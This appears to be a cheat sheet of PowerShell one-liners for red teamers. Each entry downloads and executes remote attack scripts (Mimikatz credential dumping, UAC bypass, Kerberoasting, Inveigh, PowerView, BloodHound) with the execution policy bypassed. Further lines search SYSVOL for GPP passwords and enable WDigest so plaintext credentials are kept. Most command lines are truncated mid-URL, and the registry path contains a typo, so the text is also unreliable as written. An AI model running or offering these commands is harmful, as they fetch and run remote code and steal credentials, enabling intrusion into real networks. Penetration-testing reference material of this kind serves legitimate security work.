redteaming

```
# Description:
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Empire

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Empire

# Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.co

# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerS

# PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerS

# Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-

# Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Empire

# Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerS

# Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.co

# Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHo

# Find GPP Passwords in SYSVOL
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)

# Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe

# Insert reg key to enable Wdigest on newer versions of Windows
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
```